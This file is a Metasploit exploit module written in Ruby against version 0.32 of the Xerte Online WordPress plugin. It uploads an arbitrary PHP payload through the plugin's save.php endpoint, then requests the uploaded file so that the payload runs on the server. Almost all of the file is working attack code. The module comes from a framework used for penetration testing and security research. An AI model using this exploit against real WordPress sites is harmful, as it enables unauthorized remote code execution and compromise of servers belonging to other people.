##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress Xerte Online Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the WordPress Xerte Online
        plugin, version 0.32. The vulnerability allows for arbitrary file upload
        and remote code execution.
      },
      'Author'         =>
        [
          'Sammy', # Vulnerability Discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['WPVDB', '6102'],
          ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-xerte-online-arbitrary-file-upload-vulnerability.html'],
          ['URL', 'http://packetstormsecurity.com/files/119220/']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Xerte Online 0.32', {}]],
      'DisclosureDate' => 'Dec 30 2012',
      'DefaultTarget'  => 0)
    )
  end

  def check
    check_plugin_version_from_readme('xerte-online', '0.36')
  end

  def exploit
    php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

    data = Rex::MIME::Message.new
    data.add_part("/wp-content/plugins/xerte-online/xertefiles/#{php_pagename}", nil, nil, 'form-data; name="filename"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"filedata\"")
    post_data = data.to_s

    res = send_request_cgi(
      'uri'       => normalize_uri(wordpress_url_plugins, 'xerte-online', 'xertefiles', 'save.php'),
      'method'    => 'POST',
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    )

    if res
      if res.code == 200 && res.body.include?('file has been corrupted')
        print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
        register_files_for_cleanup(php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown,'ERROR')
    end

    print_status("#{peer} - Calling payload...")
    send_request_cgi(
      { 'uri'     => normalize_uri(wordpress_url_plugins, 'xerte-online', 'xertefiles', php_pagename) },
      5
    )
  end
end
